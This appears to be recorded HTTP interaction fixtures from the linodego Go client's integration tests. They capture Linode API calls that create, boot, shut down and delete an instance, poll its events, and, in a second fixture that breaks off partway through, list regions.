"time_remaining": 0, "rate": null, "duration": 65.0, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "500" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_boot","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263/boot method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_boot","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603805129, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 45, "time_remaining": null, "rate": null, "duration": 14.943956, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": 55574050, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557263/configs/55574050"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "582" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805129 method: GET response: body: '{"id": 603805129, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 49, "time_remaining": null, "rate": null, "duration": 15.050718, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": 55574050, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557263/configs/55574050"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "533" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805129 method: GET response: body: '{"id": 603805129, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 24.0, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "finished", "secondary_entity": {"id": 55574050, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557263/configs/55574050"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "527" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263 method: GET response: body: '{"id": 52557263, "label": "go-ins-poll-test", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.94"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "732" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_shutdown","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263/shutdown method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_shutdown","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603805277, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 15.762478, "action": "linode_shutdown", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "446" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805277 method: GET response: body: '{"id": 603805277, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 15.887149, "action": "linode_shutdown", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": null, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "397" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805277 method: GET response: body: '{"id": 603805277, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 28.0, "action": "linode_shutdown", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "finished", "secondary_entity": null, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "392" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263 method: GET response: body: '{"id": 52557263, "label": "go-ins-poll-test", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.94"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "732" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestEventPoller_Secondary.yaml000066400000000000000000001460261455402072200325560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 